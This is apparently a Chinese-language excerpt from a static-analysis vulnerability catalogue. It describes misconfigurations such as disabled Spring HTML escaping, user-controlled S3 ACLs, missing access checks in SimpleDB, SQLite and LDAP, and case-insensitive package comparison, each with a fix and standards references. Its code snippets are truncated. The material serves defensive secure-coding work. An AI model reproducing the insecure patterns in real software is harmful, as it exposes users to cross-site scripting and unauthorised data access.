[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[47] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
Spring Misconfiguration: HTML Escaping Disabled
ABSTRACT
该应用程序配置为禁用 Spring 标记的自动 HTML 转义,这可能会导致 Cross-Site Scripting 漏洞。
EXPLANATION
如果禁用 Spring 标记中 HTML 上下文的自动转义,则可能会导致应用程序容易遭受 Cross-Site Scripting 攻击。
示例 1: 以下 web.xml 配置指示应用程序禁用 Spring 标记的自动 HTML 转义。
1 | <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="3.0" |
RECOMMENDATIONS
强烈建议不要禁用标记内容的自动 HTML 转义,因为它可能包含用户控制器数据。默认情况下,会启用 HTML 转义。不要通过将 defaultHtmlEscape 设置为 false 或采用其他更好的方法来禁用 HTML 转义,请明确地将它设置为 true。
示例 2: 以下 web.xml 配置指示应用程序启用 Spring 标记的自动 HTML 转义。
1 | <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="3.0" |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 554
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements, 14.1.3 Build
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[9] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
安全特性
软件安全不是安全软件。在此处,我们讨论类似于身份验证、访问控制、机密性、加密和权限管理之类的主题。
Access Control: Amazon Web Services
Access Control: Android Provider
Access Control: Anonymous LDAP Bind
Access Control: Database
Access Control: LDAP
Access Control: SecurityManager Bypass
Access Control: Weak Security Constraint
Acegi Misconfiguration: Insecure Channel Mixing
Acegi Misconfiguration: Run-As Authentication Replacement
Android Bad Practices: Just Provider writePermission Defined
Android Bad Practices: Missing Broadcaster Permission
Android Bad Practices: Missing Component Permission
Android Bad Practices: Missing Receiver Permission
Android Bad Practices: Missing exported Flag or Component Permission
Android Bad Practices: Mixed Component Functionality
Android Bad Practices: Provider Permission Defined
Android Bad Practices: Sticky Broadcast
Android Bad Practices: System Permission Defined
Android Bad Practices: Unnecessary Component Exposure
Android Bad Practices: Weak Authentication
Android Bad Practices: normal Permission
Axis 2 Misconfiguration: Insecure Transport Receiver
Axis 2 Misconfiguration: Insecure Transport Sender
Cookie Security: Cookie not Sent Over SSL
Cookie Security: HTTPOnly not Set
Cookie Security: Overly Broad Domain
Cookie Security: Overly Broad Path
Cookie Security: Persistent Cookie
HTTP Verb Tampering
Insecure Randomness
Insecure Randomness: Hardcoded Seed
Insecure Randomness: User-Controlled Seed
Insecure SSL: Android Customized Implementation
Insecure SSL: Android Hostname Verification Disabled
Insecure SSL: Android Socket
Insecure SSL: Inadequate Certificate Verification
Insecure SSL: Overly Broad Certificate Trust
Insecure SSL: Server Identity Verification Disabled
Insecure Transport
Insecure Transport: Mail Transmission
J2EE Misconfiguration: Insecure Transport
Key Management: Empty Encryption Key
Key Management: Empty HMAC Key
Key Management: Hardcoded Encryption Key
Key Management: Hardcoded HMAC Key
Key Management: Null Encryption Key
Missing SecurityManager Check: Cloneable
Missing SecurityManager Check: Serializable
PCI Privacy Violation
Password Management
Password Management: Empty Password
Password Management: Hardcoded Password
Password Management: Null Password
Password Management: Password in Comment
Password Management: Password in Redirect
Password Management: Weak Cryptography
Privacy Violation
Privacy Violation: Android Internal Storage
Privacy Violation: Heap Inspection
Privacy Violation: Shoulder Surfing
Privilege Management: Amazon Web Services Unchecked Permissions
Privilege Management: Android Data Storage
Privilege Management: Android Disable
Privilege Management: Android Location
Privilege Management: Android Messaging
Privilege Management: Android Network
Privilege Management: Android Telephony
Privilege Management: Dangerous Intent Permission
Privilege Management: Missing API Permission
Privilege Management: Missing Content Provider Permission
Privilege Management: Missing Intent Permission
Privilege Management: Overly Broad Access Specifier
Privilege Management: Overriding Permission Verification
Privilege Management: Unnecessary Permission
Spring Boot Misconfiguration: Actuator Endpoint Security Disabled
Spring Boot Misconfiguration: Admin MBean Enabled
Spring Boot Misconfiguration: DevTools Enabled
Spring Boot Misconfiguration: Shutdown Actuator Endpoint Enabled
Tomcat Configuration: Insecure Transport
Weak Cryptographic Hash
Weak Cryptographic Hash: Hardcoded PBE Salt
Weak Cryptographic Hash: Hardcoded Salt
Weak Cryptographic Hash: Insecure PBE Iteration Count
Weak Cryptographic Hash: Missing Required Step
Weak Cryptographic Hash: User-Controlled Algorithm
Weak Cryptographic Hash: User-Controlled PBE Salt
Weak Cryptographic Hash: User-Controlled Salt
Weak Cryptographic Signature: Missing Required Step
Weak Encryption
Weak Encryption: Byte Array to String Conversion
Weak Encryption: Inadequate RSA Padding
Weak Encryption: Insecure Initialization Vector
Weak Encryption: Insecure Mode of Operation
Weak Encryption: Insufficient Key Size
Weak Encryption: Missing Required Step
Weak Encryption: User-Controlled Key Size
Weak SecurityManager Check: Overridable Method
Access Control: ACL Manipulation(acl_manipulation)
ABSTRACT
应用程序允许攻击者篡改 AWS S3 存储桶或对象的访问控制策略 (ACP)。
EXPLANATION
应用程序允许攻击者控制授予给 AWS S3 存储桶或对象的权限。这样,攻击者就可以设置低安全性策略,以便他们可以读取内容或写入任意文件。
示例 1:以下代码将使用用户指定的访问控制策略来创建新存储桶。
1 | String canned_acl = request.getParameter("acl"); |
即使应用程序会从有限的集合中选择 acl 参数,攻击者也可以将其设置为 public-read-write 并授予对存储桶的完全匿名访问权限。
RECOMMENDATIONS
防止 ACL 篡改的最佳方法是采用一些间接手段。创建一份用户可以指定的合法权限和被授权者的列表,并且仅允许用户从该列表中进行选择。利用这种方法,就绝不会直接使用用户提供的输入来指定Access Control Policy。
示例 2:以下代码将使用用户指定的Access Control Policy来创建新存储桶。
1 | String acl = request.getParameter("acl"); |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 359, CWE ID 287
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200, [13] CWE ID 287
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[5] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 3.7.1 Defenses Against Session Management Exploits, 8.2.2 Client-side Data Protection, 8.3.4 Sensitive Private Data, 10.2.1 Malicious Code Search
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Access Control: Amazon Web Services
ABSTRACT
如果在使用用户控制的项名称且没有适当 access control 的情形下访问 SimpleDB 数据库,则会允许攻击者查看未经授权的记录。
EXPLANATION
Database access control 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
此数据被用于指定 SimpleDB 访问调用中的项目名。
示例 1:以下代码对在事务日期后命名的清单数据库进行操作。此程序首先验证客户,然后使客户能够从以前的清单列表中选择。
1 | ... |
虽然示例 1 中的代码生成了一个当前用户的清单列表,但是攻击者可以绕过这个代码行为,从而获取所需的任何清单。因为此例中的代码没有执行检查,确保用户有权访问需要的清单,所以代码会显示所有清单,即使这些清单并不属于当前用户。
RECOMMENDATIONS
最好不要使用户可以直接访问 SimpleDB 项目名。仅在应用程序内部使用 putAttributes()、batchPutAttributes()、getAttribute() 和 deleteAttributes();不要将其暴露给受污染的数据。最终用户不公开的值更适于作为数据库域内的“属性-值”对,而非项目名称。然后,应用程序可通过 select() 来查询这些项,其查询字符串应进行检查,以限制只对与经过验证的用户名相关联的内容项进行响应。
例 2:下列实现方法是比例 1 更为安全的备选方法。此数据库包含一个新的 date 属性,该属性用于存储事务日期的值,而不将其嵌入到项目名中。这样,此应用程序可通过 select() 指令来查询日期,并确保当前经过验证的用户拥有查看清单的授权。
1 | ... |
如果在选择过程中必须使用用户输入,access control 逻辑必须包含相应的检查,以确保用户具有访问这些项目的权限。在上面的例子中,应用程序应将查询限制为只能选择与当前用户相关联的清单。
例 3:下面是一个根据白名单进行基本验证的示例,其中的白名单由存储在 customerInvoices 中的用户历史清单组成。
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 566
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Access Control: Android Provider
ABSTRACT
如果没有适当的 access control,执行一个包含用户控制主键的 SQLite 指令会允许攻击者访问未经授权的记录。
EXPLANATION
在以下情况下,SQLite 查询会发生 access control 错误:
数据从一个不可信赖的数据源进入程序。
这个数据用来指定 SQLite 查询中主键的值。
示例 1:以下代码使用一个参数化语句,该语句可转义元字符和防止 query string injection 漏洞,以构造并执行一个 SQLite 查询,来搜索与用户指定的标识符相匹配的清单。
1 | ... |
问题在于开发者没有考虑到所有可能出现的 id 值。虽然查询生成了一个当前用户的标识符清单,但是攻击者可以绕过这一行为,从而获取所需的任意清单。因为此例中的代码没有确保用户有权访问需要的清单,所以代码会显示所有清单,即使这些清单并不属于当前用户。
RECOMMENDATIONS
应在业务和数据访问层进行 access control。任何情况下都不允许用户在没有取得相应权限的情况下获取或修改数据库中的记录。每个访问数据库的查询都必须遵守此策略,这可以通过把当前获得授权的用户名包括在查询语句内来实现。
例 2:以下代码实施了与例 1 相同的功能,但是附加了一个限制,即要求当前获得授权的用户必须具有访问特定清单的权限。
1 | ... |
REFERENCES
[1] Android Developers-Reference: SQLite Database
[2] S. J. Friedl SQL Injection Attacks by Example
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 566
[5] Standards Mapping - FIPS200 AC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[10] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[11] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Access Control: Anonymous LDAP Bind
ABSTRACT
在没有适当 access control 的情况下,执行一个包含用户控制值的 LDAP 声明,这会让攻击者访问未授权的记录。
EXPLANATION
若未经 authentication 便在匿名绑定下有效地执行 LDAP 查询,会导致攻击者滥用低端配置的 LDAP 环境。
例 1:以下代码使用一个匿名绑定创建 DirContext ctx。
1 | ... |
针对 ctx 执行的所有 LDAP 查询都会在未经 authentication 和 access control 的情况下执行。攻击者可能会采取意想不到的方式操纵其中的某个查询,以便可以访问本应受目录 access control 机制保护的记录。
RECOMMENDATIONS
应用程序应该执行精确验证和通过绑定到具体的用户目录的方式来加强 access control 约束,而不是仅仅依赖于表示层来限制用户提交的值。在任何情况下,只要没有适当的权限,都不应该允许用户检索或修改目录中的相关记录。访问目录的每个查询应该执行该策略,这就意味着只有完全受限的查询在匿名绑定的情况下执行,从而有效避免了在 LDAP 系统上建立 access control 机制。
例 2:以下代码执行与例 1 相同的功能,但强加了一个附加的约束请求,即当前已认证的用户具有受后来查询影响的某些特定的访问入口。
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 285
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[8] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[9] Standards Mapping - OWASP Top 10 2013 A7 Missing Function Level Access Control
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10, Requirement 7.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Access Control: Case-Insensitive Package Name Comparison
ABSTRACT
应用程序以不区分大小写的方式将 Android 包与用户控制的值进行比较,这可能允许攻击者绕过基于包名称的访问控制。
EXPLANATION
在 Android 上,包名称区分大小写,因此应该以区分大小写的方式进行比较。 恶意应用程序可能会共享具有不同大小写字母的相似包,使攻击者绕过访问控制。
示例 1: 以下代码出于访问控制的目的执行不安全的字符串比较:
1 | public boolean isTrusted(String paramString) { |
RECOMMENDATIONS
将代码更改为使用 equals()。
示例 1: 以下代码出于访问控制的目的执行安全的字符串比较:
1 | public boolean isTrusted(String paramString) { |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 285
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-001084, CCI-002165
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - General Data Protection Regulation Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design, 4.1.5 General Access Control Design, 4.2.1 Operation Level Access Control, 13.1.4 Generic Web Service Security Verification Requirements
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[9] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[10] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[11] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[12] Standards Mapping - OWASP Top 10 2013 A7 Missing Function Level Access Control
[13] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.5, Requirement 6.5.10, Requirement 7.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8, Requirement 7.2
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[22] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[23] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[24] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[25] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3470.1 CAT II, APP3470.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3470.1 CAT II, APP3470.4 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3470.1 CAT II, APP3470.4 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3470.1 CAT II, APP3470.4 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3470.1 CAT II, APP3470.4 CAT II
